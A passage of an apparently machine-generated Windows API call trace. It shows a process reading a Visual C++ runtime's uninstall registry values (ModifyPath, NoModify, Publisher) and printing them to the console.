_Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.452] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.452] __iob_func () returned 0x7fefd702a80 [0150.452] _fileno (_File=0x7fefd702ab0) returned 1 [0150.452] _errno () returned 0x204bb0 [0150.452] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.452] _errno () returned 0x204bb0 [0150.452] GetFileType (hFile=0x50) returned 0x1 [0150.452] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\") returned 112 [0150.452] GetConsoleOutputCP () returned 0x1b5 [0150.452] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\", cchWideChar=112, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 112 [0150.452] GetConsoleOutputCP () returned 0x1b5 [0150.452] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\", cchWideChar=112, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\", lpUsedDefaultChar=0x0) returned 112 [0150.452] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 112 [0150.452] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.452] __iob_func () returned 0x7fefd702a80 [0150.452] _fileno (_File=0x7fefd702ab0) returned 1 [0150.452] _errno () returned 0x204bb0 [0150.452] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.452] _errno () returned 0x204bb0 [0150.452] GetFileType (hFile=0x50) returned 0x1 [0150.452] lstrlenW (lpString="\n") returned 1 [0150.452] GetConsoleOutputCP () returned 0x1b5 [0150.453] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.453] GetConsoleOutputCP () returned 0x1b5 [0150.453] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.453] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.453] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.453] GetProcessHeap () returned 0x3c0000 [0150.453] GetProcessHeap () returned 0x3c0000 [0150.453] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce90) returned 1 [0150.453] GetProcessHeap () returned 0x3c0000 [0150.453] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dce90) returned 0xe6 [0150.453] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce90 | out: hHeap=0x3c0000) returned 1 [0150.453] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.453] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x6a) returned 0x0 [0150.453] GetProcessHeap () returned 0x3c0000 [0150.453] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6c) returned 0x3db830 [0150.453] GetProcessHeap () returned 0x3c0000 [0150.453] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.453] GetProcessHeap () returned 0x3c0000 [0150.453] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0150.453] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x6a | out: pdwType=0x29f700*=0x2, pvData="MsiExec.exe /X{B175520C-86A2-35A7-8619-86DC379688B9}", pcbData=0x29f780*=0x6a) returned 0x0 [0150.453] __iob_func () returned 0x7fefd702a80 [0150.453] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.453] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.453] _fileno (_File=0x7fefd702ab0) returned 1 [0150.453] _errno () returned 0x204bb0 [0150.454] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.454] _errno () returned 0x204bb0 [0150.454] GetFileType (hFile=0x50) returned 0x1 [0150.454] lstrlenW (lpString=" ") returned 4 [0150.454] GetConsoleOutputCP () returned 0x1b5 [0150.454] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.454] GetConsoleOutputCP () returned 0x1b5 [0150.454] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.454] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.454] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.454] lstrlenW (lpString="ModifyPath") returned 10 [0150.454] __iob_func () returned 0x7fefd702a80 [0150.454] _fileno (_File=0x7fefd702ab0) returned 1 [0150.454] _errno () returned 0x204bb0 [0150.454] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.454] _errno () returned 0x204bb0 [0150.454] GetFileType (hFile=0x50) returned 0x1 [0150.454] lstrlenW (lpString="ModifyPath") returned 10 [0150.454] GetConsoleOutputCP () returned 0x1b5 [0150.455] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.455] GetConsoleOutputCP () returned 0x1b5 [0150.455] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0150.455] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0150.455] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.455] __iob_func () returned 0x7fefd702a80 [0150.455] _fileno (_File=0x7fefd702ab0) returned 1 [0150.455] _errno () returned 0x204bb0 [0150.455] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.455] _errno () returned 0x204bb0 [0150.455] GetFileType (hFile=0x50) returned 0x1 [0150.455] lstrlenW (lpString=" ") returned 4 [0150.455] GetConsoleOutputCP () returned 0x1b5 [0150.455] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.455] GetConsoleOutputCP () returned 0x1b5 [0150.455] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.455] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.455] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.455] __iob_func () returned 0x7fefd702a80 [0150.455] _fileno (_File=0x7fefd702ab0) returned 1 [0150.455] _errno () returned 0x204bb0 [0150.455] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.455] _errno () returned 0x204bb0 [0150.456] GetFileType (hFile=0x50) returned 0x1 [0150.456] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0150.456] GetConsoleOutputCP () returned 0x1b5 [0150.456] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.456] GetConsoleOutputCP () returned 0x1b5 [0150.456] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0150.456] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.456] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.456] __iob_func () returned 0x7fefd702a80 [0150.456] _fileno (_File=0x7fefd702ab0) returned 1 [0150.456] _errno () returned 0x204bb0 [0150.456] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.456] _errno () returned 0x204bb0 [0150.456] GetFileType (hFile=0x50) returned 0x1 [0150.456] lstrlenW (lpString=" ") returned 4 [0150.456] GetConsoleOutputCP () returned 0x1b5 [0150.456] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.456] GetConsoleOutputCP () returned 0x1b5 [0150.456] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.456] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.456] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.457] __iob_func () returned 0x7fefd702a80 [0150.457] _fileno (_File=0x7fefd702ab0) returned 1 [0150.457] _errno () returned 0x204bb0 [0150.457] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.457] _errno () returned 0x204bb0 [0150.457] GetFileType (hFile=0x50) returned 0x1 [0150.457] lstrlenW (lpString="MsiExec.exe /X{B175520C-86A2-35A7-8619-86DC379688B9}") returned 52 [0150.457] GetConsoleOutputCP () returned 0x1b5 [0150.457] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{B175520C-86A2-35A7-8619-86DC379688B9}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0150.457] GetConsoleOutputCP () returned 0x1b5 [0150.457] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{B175520C-86A2-35A7-8619-86DC379688B9}", cchWideChar=52, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{B175520C-86A2-35A7-8619-86DC379688B9}", lpUsedDefaultChar=0x0) returned 52 [0150.457] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0150.457] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.457] __iob_func () returned 0x7fefd702a80 [0150.457] _fileno (_File=0x7fefd702ab0) returned 1 [0150.457] _errno () returned 0x204bb0 [0150.457] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.457] _errno () returned 0x204bb0 [0150.457] GetFileType (hFile=0x50) returned 0x1 [0150.457] lstrlenW (lpString="\n") returned 1 [0150.457] GetConsoleOutputCP () returned 0x1b5 [0150.458] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.458] GetConsoleOutputCP () returned 0x1b5 [0150.458] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.458] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.458] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.458] GetProcessHeap () returned 0x3c0000 [0150.458] GetProcessHeap () returned 0x3c0000 [0150.458] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.458] GetProcessHeap () returned 0x3c0000 [0150.458] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0150.458] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.458] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.458] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.458] GetProcessHeap () returned 0x3c0000 [0150.458] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.458] GetProcessHeap () returned 0x3c0000 [0150.458] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.458] GetProcessHeap () returned 0x3c0000 [0150.458] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.458] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0150.458] __iob_func () returned 0x7fefd702a80 [0150.458] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.458] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.458] _fileno (_File=0x7fefd702ab0) returned 1 [0150.458] _errno () returned 0x204bb0 [0150.458] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.458] _errno () returned 0x204bb0 [0150.458] GetFileType (hFile=0x50) returned 0x1 [0150.458] lstrlenW (lpString=" ") returned 4 [0150.459] GetConsoleOutputCP () returned 0x1b5 [0150.459] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.459] GetConsoleOutputCP () returned 0x1b5 [0150.459] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.459] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.459] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.459] lstrlenW (lpString="NoModify") returned 8 [0150.459] __iob_func () returned 0x7fefd702a80 [0150.459] _fileno (_File=0x7fefd702ab0) returned 1 [0150.459] _errno () returned 0x204bb0 [0150.459] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.459] _errno () returned 0x204bb0 [0150.459] GetFileType (hFile=0x50) returned 0x1 [0150.459] lstrlenW (lpString="NoModify") returned 8 [0150.459] GetConsoleOutputCP () returned 0x1b5 [0150.459] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.459] GetConsoleOutputCP () returned 0x1b5 [0150.459] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0150.459] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.459] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.460] __iob_func () returned 0x7fefd702a80 [0150.460] _fileno (_File=0x7fefd702ab0) returned 1 [0150.460] _errno () returned 0x204bb0 [0150.460] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.460] _errno () returned 0x204bb0 [0150.460] GetFileType (hFile=0x50) returned 0x1 [0150.460] lstrlenW (lpString=" ") returned 4 [0150.460] GetConsoleOutputCP () returned 0x1b5 [0150.460] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.460] GetConsoleOutputCP () returned 0x1b5 [0150.460] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.460] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.460] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.460] __iob_func () returned 0x7fefd702a80 [0150.460] _fileno (_File=0x7fefd702ab0) returned 1 [0150.460] _errno () returned 0x204bb0 [0150.460] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.460] _errno () returned 0x204bb0 [0150.460] GetFileType (hFile=0x50) returned 0x1 [0150.460] lstrlenW (lpString="REG_DWORD") returned 9 [0150.460] GetConsoleOutputCP () returned 0x1b5 [0150.460] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.460] GetConsoleOutputCP () returned 0x1b5 [0150.461] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.461] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.461] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.461] __iob_func () returned 0x7fefd702a80 [0150.461] _fileno (_File=0x7fefd702ab0) returned 1 [0150.461] _errno () returned 0x204bb0 [0150.461] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.461] _errno () returned 0x204bb0 [0150.461] GetFileType (hFile=0x50) returned 0x1 [0150.461] lstrlenW (lpString=" ") returned 4 [0150.461] GetConsoleOutputCP () returned 0x1b5 [0150.461] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.461] GetConsoleOutputCP () returned 0x1b5 [0150.461] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.461] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.461] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.461] __iob_func () returned 0x7fefd702a80 [0150.461] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.461] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0150.461] _fileno (_File=0x7fefd702ab0) returned 1 [0150.461] _errno () returned 0x204bb0 [0150.461] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.461] _errno () returned 0x204bb0 [0150.461] GetFileType (hFile=0x50) returned 0x1 [0150.461] lstrlenW (lpString="0x1") returned 3 [0150.462] GetConsoleOutputCP () returned 0x1b5 [0150.462] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.462] GetConsoleOutputCP () returned 0x1b5 [0150.462] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0150.462] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.462] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.462] __iob_func () returned 0x7fefd702a80 [0150.462] _fileno (_File=0x7fefd702ab0) returned 1 [0150.462] _errno () returned 0x204bb0 [0150.462] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.462] _errno () returned 0x204bb0 [0150.462] GetFileType (hFile=0x50) returned 0x1 [0150.462] lstrlenW (lpString="\n") returned 1 [0150.462] GetConsoleOutputCP () returned 0x1b5 [0150.462] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.462] GetConsoleOutputCP () returned 0x1b5 [0150.462] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.462] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.462] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.463] GetProcessHeap () returned 0x3c0000 [0150.463] GetProcessHeap () returned 0x3c0000 [0150.463] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.463] GetProcessHeap () returned 0x3c0000 [0150.463] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.463] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.463] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.463] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2e) returned 0x0 [0150.463] GetProcessHeap () returned 0x3c0000 [0150.463] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x30) returned 0x3d78d0 [0150.463] GetProcessHeap () returned 0x3c0000 [0150.463] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0150.463] GetProcessHeap () returned 0x3c0000 [0150.463] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x30 [0150.463] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d78d0, pcbData=0x29f780*=0x2e | out: pdwType=0x29f700*=0x1, pvData="Microsoft Corporation", pcbData=0x29f780*=0x2c) returned 0x0 [0150.463] __iob_func () returned 0x7fefd702a80 [0150.463] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.463] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.463] _fileno (_File=0x7fefd702ab0) returned 1 [0150.463] _errno () returned 0x204bb0 [0150.463] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.463] _errno () returned 0x204bb0 [0150.463] GetFileType (hFile=0x50) returned 0x1 [0150.463] lstrlenW (lpString=" ") returned 4 [0150.463] GetConsoleOutputCP () returned 0x1b5 [0150.463] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.463] GetConsoleOutputCP () returned 0x1b5 [0150.463] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.464] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.464] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.464] lstrlenW (lpString="Publisher") returned 9 [0150.464] 